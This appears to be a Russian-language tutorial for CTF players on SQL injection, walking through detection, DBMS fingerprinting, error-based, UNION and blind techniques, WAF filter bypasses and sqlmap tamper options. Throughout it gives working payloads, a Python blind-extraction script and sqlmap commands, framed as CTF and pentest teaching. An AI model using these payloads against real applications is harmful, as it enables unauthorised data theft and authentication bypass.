
Три веб-задачи подряд на региональном CTF: обход аутентификации через admin'--, UNION-based извлечение флага из пяти таблиц и слепая инъекция в cookie, где единственный индикатор — задержка ответа в пять секунд. Первая заняла минуту, вторая — десять, на третью ушёл час с самописным Python-скриптом для бинарного поиска. Новички застревали уже на второй, хотя SQL знали не хуже. Разница не в знании языка запросов, а в алгоритме: какой payload для SQL injection пробовать первым, когда переключаться между техниками и в какой момент отдать рутину sqlmap.
Зачем атакующему обход WHERE через SQL-инъекцию? Конечная цель проста — добраться до данных, к которым приложение не даёт доступа: хеши паролей, персональные данные, а в CTF — флаг. В MITRE ATT&CK SQL-инъекция в веб-приложении — техника Exploit Public-Facing Application (T1190, Initial Access). Через неё атакующий лезет в базу данных — тактика Collection, техника Databases (T1213.006). В продвинутых CTF-сценариях инъекция ведёт к чтению файлов на сервере через LOAD_FILE() (Data from Local System, T1005) или к закреплению через SQL Stored Procedures (T1505.001, Persistence). По OWASP — A03:2021, Injection: приложение уязвимо, когда пользовательский ввод не валидируется, не фильтруется и не санитизируется.
В CTF цепочка укорочена до минимума: найти точку ввода → определить СУБД → выбрать технику → вытащить флаг. Но логика эксплуатации уязвимостей веб-приложений та же, что и на реальном пентесте. В SigmaHQ есть правило app_sqlinjection_errors.yml, детектирующее характерные SQL-ошибки в логах — именно те строки, которые вы ищете при ручном поиске SQL-инъекций в CTF-задачах.
Требования к окружению: Burp Suite (Community хватит за глаза для перехвата запросов), Python 3.x с библиотекой requests, sqlmap (актуальная версия с GitHub) и curl для быстрых проверок из терминала.
[Применимо: любая CTF-задача с веб-формой, cookie или GET/POST-параметром]
Ручной поиск SQL-инъекций начинается с трёх последовательных шагов. PortSwigger в Web Security Academy описывает систематический набор тестов против каждой точки ввода: одинарная кавычка, boolean-условия, time-based пейлоады и OAST-техники.
Шаг 1 — реакция на спецсимвол. Вставляем одинарную кавычку ' в параметр и смотрим на ответ. Три исхода:
You have an error in your SQL syntax) → вероятен error-based SQLi. Бежим к соответствующему разделу.' AND '1'='1 и ' AND '1'='2. Поведение отличается — boolean blind SQL injection.' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL. Задержка ответа на 5 секунд = time-based blind SQL injection.Шаг 2 — определение СУБД. По данным SQL Injection Cheat Sheet от Invicti, разница в синтаксисе между СУБД — главная причина, почему универсальные пейлоады не работают в sql injection web CTF. Быстрые пробы:
| Тест | Успешный результат | СУБД |
|---|---|---|
%23 в URL работает как комментарий |
Запрос обрезается | MySQL/MariaDB |
' AND @@version>0-- |
Числовая версия в ошибке | MySQL или MSSQL |
| Конкатенация через двойную вертикальную черту | Строка склеивается | PostgreSQL или SQLite |
' UNION SELECT sqlite_version()-- |
Версия SQLite | SQLite |
Конкатенация через + |
Строка склеивается | MSSQL |
Ключевые различия СУБД, критичные для CTF-задач:
| Элемент | MySQL | PostgreSQL | SQLite | MSSQL |
|---|---|---|---|---|
| Комментарий | -- или # |
-- |
-- |
-- |
| Функция версии | @@version |
version() |
sqlite_version() |
@@version |
| Конкатенация строк | CONCAT(a,b) |
двойная вертикальная черта | двойная вертикальная черта | a + b |
| Метаданные таблиц | information_schema.tables |
information_schema.tables |
sqlite_master |
information_schema.tables |
| Функция задержки | SLEEP(N) |
pg_sleep(N) |
Нет нативной | WAITFOR DELAY '0:0:N' |
Шаг 3 — выбор техники. Ошибки видны → error-based (самая быстрая). Данные из SELECT отображаются на странице → UNION-based. Ни ошибок, ни данных → blind (boolean или time). Правильная классификация на этом шаге экономит 30-40 минут на задаче.
Каждый шаг зависит от результата предыдущего. SQL-инъекции в CTF — это структурированная задача, а не случайный перебор пейлоадов. Кто понимает эту логику — решает стабильно. Кто не понимает — стреляет наугад и теряет время.
Предусловия и ограничения: алгоритм предполагает строковый параметр в одинарных кавычках. Для числовых параметров (WHERE id = 5) кавычка не нужна — инъекция в базу данных начинается с 5 AND 1=1 без кавычек. Если параметр обёрнут в двойные кавычки или скобки — закрывайте именно их.
[Применимо: CTF-задачи с отображением ошибок БД, конфигурации без подавления verbose errors]
Error-based SQL injection — самый быстрый путь к флагу, когда приложение показывает тексты ошибок. Суть: заставить СУБД выбросить ошибку, содержащую результат подзапроса. PortSwigger в исследовании blind SQL injection показывает, как функция CAST() превращает слепую инъекцию в видимую: попытка привести строку к integer заставляет СУБД вернуть содержимое строки прямо в тексте ошибки.
MySQL: extractvalue и updatexml. Обе функции ожидают XPath-выражение. Если вместо корректного пути /root/node подставить строку с тильдой — СУБД возвращает ошибку XPATH syntax error с содержимым подзапроса. Пейлоад ' AND extractvalue(1, concat(0x7e, (SELECT version())))-- вернёт ошибку вида XPATH syntax error: '~5.7.42'. Заменяем version() на flag FROM flag — и флаг буйком всплывает в тексте ошибки. Аналогично работает updatexml(1, concat(0x7e, (SELECT version())), 1).
Тонкость: extractvalue() и updatexml() возвращают максимум 32 символа. Для длинных значений режем через SUBSTRING(): конструкция extractvalue(1, concat(0x7e, substring((SELECT flag FROM flag), 10, 32))) извлекает символы порциями — сначала позиции 1-32, потом 10-42, потом 33-64. Нудно, но работает.
Альтернатива: FLOOR(RAND(0)*2). Как описывает pentest-tools.com, пейлоад через FLOOR(RAND(0)*2) с GROUP BY вызывает ошибку дублирования ключа: Duplicate entry '10.1.36-MariaDB#0' for key 'group_key'. Тут есть нюанс: RAND(0) с фиксированным seed даёт детерминированную последовательность. FLOOR(...*2) округляет до 0 или 1, и при GROUP BY возникает дублирование ключа во временной таблице. Без seed=0 техника нестабильна — может не сработать с первого раза. На CTF это раздражает, но знать полезно.
PostgreSQL: CAST. Пейлоад ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)-- вернёт ERROR: invalid input syntax for type integer: "users". Имя таблицы — прямо в тексте ошибки.
Предусловия и ограничения: error-based sql injection мёртвая, если приложение перехватывает исключения БД и показывает generic-ответ (HTTP 500 без деталей). Проверяйте заголовок X-Powered-By и content-type — JSON API часто прячут ошибки за стандартным {"error": "Internal Server Error"}. Нет ошибок в ответе — переключайтесь на UNION или blind.
[Применимо: задачи с выводом результата SELECT на страницу — каталоги, профили, поисковые формы]
Union based SQL injection — рабочая лошадка CTF-задач на SQL-инъекции. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и результат появляется на странице. Просто и красиво.
Без точного совпадения числа столбцов UNION выбросит ошибку. Два метода:
ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- → OK, ' ORDER BY 5-- → ошибка, ' ORDER BY 3-- → OK, ' ORDER BY 4-- → ошибка. Три столбца, найдено за четыре запроса. Количество запросов — log₂(N), где N — число столбцов.
UNION SELECT NULL. Добавляем NULL-значения: ' UNION SELECT NULL-- → ошибка, ' UNION SELECT NULL, NULL-- → ошибка, ' UNION SELECT NULL, NULL, NULL-- → результат. Три столбца. Медленнее ORDER BY, но надёжнее в контекстах, где ORDER BY синтаксически запрещён (например, внутри подзапроса).
После определения количества столбцов находим, какие из них выводятся на страницу: запрос -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- покажет, где появляются маркерные строки. Именно в эти позиции подставляем подзапросы. Значение -1 перед кавычкой гарантирует, что оригинальный запрос вернёт пустой результат — на странице останутся только наши данные из UNION.
Полная цепочка для MySQL (три столбца, второй отображается):
-- Шаг 1: таблицы текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
FROM information_schema.tables WHERE table_schema=database()--
-- Шаг 2: столбцы целевой таблицы
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
FROM information_schema.columns WHERE table_name='flag'--
-- Шаг 3: забираем флаг
-1' UNION SELECT 1, flag, 3 FROM flag--
GROUP_CONCAT() склеивает все строки в одну — без неё увидите только первую строку результата. Для SQLite вместо information_schema используется sqlite_master: запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со всеми именами столбцов. Обход авторизации через SQL с помощью UNION тоже возможен: пейлоад в поле пароля может вернуть валидный хеш из другой таблицы.
Предусловия и ограничения: union based SQL injection не работает, если вывод запроса не отображается на странице — переключайтесь на blind. В PostgreSQL строже типизация — может потребоваться CAST(1 AS text) вместо числовых заглушек. WAF-фильтры на слово UNION обходятся через смену регистра (uNiOn) или inline-комментарии (UN/**/ION). Подробнее об обходе фильтров — ниже.
[Применимо: формы логина без вывода данных, cookie-based инъекции, задачи без ошибок и вывода]
Boolean blind SQL injection — самый частый и самый нудный тип CTF-задач. Приложение не возвращает ни результат запроса, ни ошибку — только косвенный признак: отличается ли поведение страницы при TRUE и FALSE условии. OWASP в документации по Blind SQL Injection описывает это так: атакующий задаёт базе данных вопросы true/false и определяет ответ по поведению приложения.
Классический пример из PortSwigger Web Security Academy — cookie TrackingId: значение xyz' AND '1'='1 → страница содержит «Welcome back» (TRUE), значение xyz' AND '1'='2 → «Welcome back» пропало (FALSE). Канал связи установлен. Дальше — дело техники.
Извлечение данных идёт посимвольно через бинарный поиск: payload для SQL injection вида xyz' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)>'m — если TRUE, символ в диапазоне n-z. Делим диапазон пополам, проверяем >'t', >'q', пока не найдём точное значение. Каждый символ — 6-8 запросов. Для флага длиной 32 символа — 200-250 HTTP-запросов. Руками это мучительно.
Time-based blind SQL injection применяется, когда даже контент страницы не меняется. Единственный канал — время ответа. Пейлоад для MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), 0)--. Ответ пришёл через 5 секунд — первый символ s. Мгновенно — нет. Для PostgreSQL — pg_sleep(), для MSSQL — WAITFOR DELAY '0:0:5'. OWASP упоминает BENCHMARK() как альтернативу SLEEP() в MySQL: вызов BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')) создаёт задержку через вычислительную нагрузку, когда SLEEP() заблокирован WAF.
Ручной перебор 32-символьного флага через boolean blind — полтора часа турнирного времени. Автоматизация SQL-инъекций через Python сокращает это до 3-5 минут:
import requests
url = "http://target.ctf/page"
flag = ""
for pos in range(1, 40):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"' AND ORD(SUBSTRING((SELECT flag FROM flag),{pos},1))>{mid}-- -"
r = requests.get(url, params={"id": payload})
if "Welcome" in r.text: low = mid + 1
else: high = mid - 1
flag += chr(low)
print(f"[*] {flag}")
Скрипт использует бинарный поиск через ORD() (возвращает ASCII-код символа) и SUBSTRING(). Для time-based blind замените проверку контента на замер времени: if r.elapsed.total_seconds() > 4: low = mid + 1. ORD() позволяет работать с числовыми сравнениями вместо строковых — надёжнее, потому что не зависит от collation базы данных.
Предусловия и ограничения: boolean blind требует стабильного индикатора TRUE/FALSE — если страница генерирует рандомный контент при каждом запросе (CSRF-токены, nonce), нужно парсить конкретный элемент, а не сравнивать весь ответ. Time-based blind чувствительна к сетевым задержкам: на нестабильном соединении SLEEP(5) может не отличиться от просто медленного ответа сервера. Увеличивайте задержку до 8-10 секунд, а в скрипте используйте порог с запасом (> threshold * 0.7).
[Применимо: задачи с фильтрацией ключевых слов, WAF-правилами, регулярными выражениями на стороне приложения]
Обход WHERE SQL injection — отдельная дисциплина в CTF. Организаторы ставят фильтры на ключевые слова, пробелы, кавычки и операторы. SQL Injection Cheat Sheet от Invicti показывает, что inline-комментарии — универсальный инструмент обхода блеклистов: конструкция DROP/*comment*/sampletable проходит мимо фильтра, который ищет цельное слово.
Основные техники ручного обхода:
uNiOn SeLeCt — если фильтр ищет UNION SELECT в точном регистре, изменение хотя бы одной буквы проходит. Большинство самописных CTF-фильтров на этом ломаются.UN/**/ION SEL/**/ECT — комментарий /**/ разбивает ключевое слово, СУБД его игнорирует./**/ или %09 (табуляция) или %0a (перевод строки) вместо пробела. В MySQL работает специальный синтаксис /*!50000 UNION*/ — инструкция выполняется только если версия MySQL >= 5.0. По данным Invicti, этот синтаксис помогает и при фингерпринтинге: SELECT /*!80027 1/0, */ 1 FROM tablename вызовет ошибку только на MySQL 8.0.27+.WHERE name='admin' → WHERE name=0x61646d696e. Обходит фильтры на кавычки. В Invicti Cheat Sheet отмечено, что 0xHEXNUMBER работает в MySQL как строка, а в сочетании с + — как целое число.= заменяем WHERE name='admin' на WHERE name LIKE 'admin'.%2527 вместо ' — если приложение декодирует URL дважды, первый проход превращает %25 в %, второй — %27 в '.Предусловия и ограничения: обход через регистр и комментарии работает против простых регулярных выражений. Серьёзные WAF (ModSecurity с Core Rule Set, Cloudflare WAF) нормализуют ввод перед проверкой — эти техники против них бесполезны. В CTF чаще встречаются самописные фильтры, где обход через регистр и комментарии срабатывает в 80% случаев.
[Применимо: любая CTF-задача с подтверждённой SQL-инъекцией, когда ручное извлечение нерационально]
sqlmap для CTF — инструмент второго этапа. Сначала руками подтверждаешь инъекцию, определяешь СУБД и рабочий пейлоад — потом отдаёшь рутину автоматизации. Запускать sqlmap вслепую — потеря времени: он тратит минуты на фингерпринтинг, который уже сделан руками.
Ключевые флаги для CTF-сценариев:
# Быстрый запуск с известной техникой и СУБД
sqlmap -u "http://target.ctf/?id=1" --dbms=mysql --technique=U --batch
# Извлечение таблиц и дамп флага
sqlmap -u "http://target.ctf/?id=1" -T flag --dump
# Обход фильтров через tamper-скрипты
sqlmap -u "http://target.ctf/?id=1" --tamper=space2comment,randomcase
# Cookie-based инъекция (нужен --level=2)
sqlmap -u "http://target.ctf/" --cookie="id=1*" --level=2
Разбор: --technique=U ограничивает sqlmap только UNION-техникой (буквы: B — boolean blind, E — error-based, U — union, S — stacked queries, T — time-based), --dbms=mysql пропускает определение СУБД, --batch отвечает «да» на все вопросы. --level=2 включает тестирование cookie-параметров — без него sqlmap cookie не трогает. Звёздочка * в значении cookie указывает точное место инъекции.
Tamper-скрипты модифицируют каждый пейлоад перед отправкой. Самые полезные для обхода CTF-фильтров:
| Скрипт | Действие | Когда нужен |
|---|---|---|
space2comment |
Заменяет пробелы на /**/ |
Фильтр пробелов |
randomcase |
Рандомизирует регистр | Фильтр на SELECT, UNION |
charencode |
URL-кодирует символы | Фильтр спецсимволов |
between |
Заменяет > на NOT BETWEEN 0 AND |
Фильтр операторов сравнения |
equaltolike |
Заменяет = на LIKE |
Фильтр символа = |
space2hash |
Заменяет пробелы на %23\n |
MySQL, фильтр пробелов и /**/ |
Комбинация нескольких tamper-скриптов через запятую: --tamper=space2comment,randomcase,equaltolike. sqlmap применяет их последовательно к каждому пейлоаду.
Когда sqlmap не справляется: если приложение использует кастомный парсер параметров, нестандартную кодировку или отвечает рандомизированным контентом — возвращайтесь к ручной эксплуатации или Python-скрипту. sqlmap по умолчанию не тестирует заголовки (X-Forwarded-For, Referer) — для этого нужен --level=3 и выше. В CTF-задачах, где инъекция спрятана в HTTP-заголовке, без этого флага можно просидеть весь турнир.
Предусловия и ограничения: sqlmap требует Python 2.7 или 3.x. На задачах с rate-limiting добавляйте --delay=1 (пауза 1 секунда между запросами). Если целевой сервис падает от объёма запросов — --threads=1 и --technique с конкретной буквой, чтобы минимизировать количество проб.
Большинство CTF-игроков допускают одну из двух ошибок: либо бросаются к sqlmap на первой же кавычке и ждут, пока инструмент перебирает техники вслепую, либо упорно долбят blind-инъекцию вручную, теряя сорок минут турнирного времени на 32-символьный флаг. Обе стратегии проигрышные.
sqlmap — инструмент, а не замена мышления. Он не знает, что в задаче фильтруется SELECT через регулярку без учёта регистра — это видно в Burp за секунду, а sqlmap будет молча получать 403 и рапортовать «parameter does not appear to be injectable». Обратная ситуация: вы подтвердили UNION-based, нашли три столбца, определили MySQL — зачем руками выписывать GROUP_CONCAT для двадцати таблиц?
Идеальная точка переключения с ручной эксплуатации SQL на автоматизацию: подтвердил тип, один пейлоад сработал, СУБД определена — дальше sqlmap с --technique и --dbms. В моей практике именно этот момент — водораздел между игроком, который стабильно берёт веб-задачи, и тем, кто застревает на второй. Понимание ручной механики даёт контекст, автоматизация sql инъекций даёт скорость. Одно без другого не работает ни на CTF, ни на реальном пентесте. Если хочешь не просто читать writeup'ы, а пройти всю атаку от руки до автоматизации с нарастающей сложностью — на WAPT эту цепочку разбирают в лабах с ментором, который объясняет, почему конкретный tamper-скрипт не сработал.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...